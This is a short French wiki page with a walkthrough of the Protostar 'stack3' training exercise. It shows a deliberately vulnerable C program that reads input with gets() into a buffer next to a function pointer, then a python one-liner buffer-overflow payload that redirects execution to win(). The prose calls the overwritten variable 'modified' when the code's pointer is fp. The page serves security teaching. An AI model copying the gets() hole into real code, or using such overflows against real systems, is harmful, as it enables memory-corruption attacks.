Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:stack3

Stack 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
	printf("code flow successfully changed\n");
}
 
int main(int argc, char **argv)
{
	volatile int (*fp)();
	char buffer[64];
 
	fp = 0;
 
	gets(buffer);
 
	if(fp) {
		printf("calling function pointer, jumping to 0x%08x\n", fp);
		fp();
	}
}

Toujours le même principe : modifier la variable modified. Ici, le programme va sauter à l'adresse contenu dans modified. Il nous faut donc récupérer l'adresse de la fonction win pour faire sauter le programme dessus.

user@protostar:/opt/protostar/bin$ nm ./stack3
080495a8 d _DYNAMIC
0804967c d _GLOBAL_OFFSET_TABLE_
...
08048424 T win
user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed
exploit_exercises_protostar/stack3.txt · Dernière modification: 2017/04/09 15:33 (modification externe)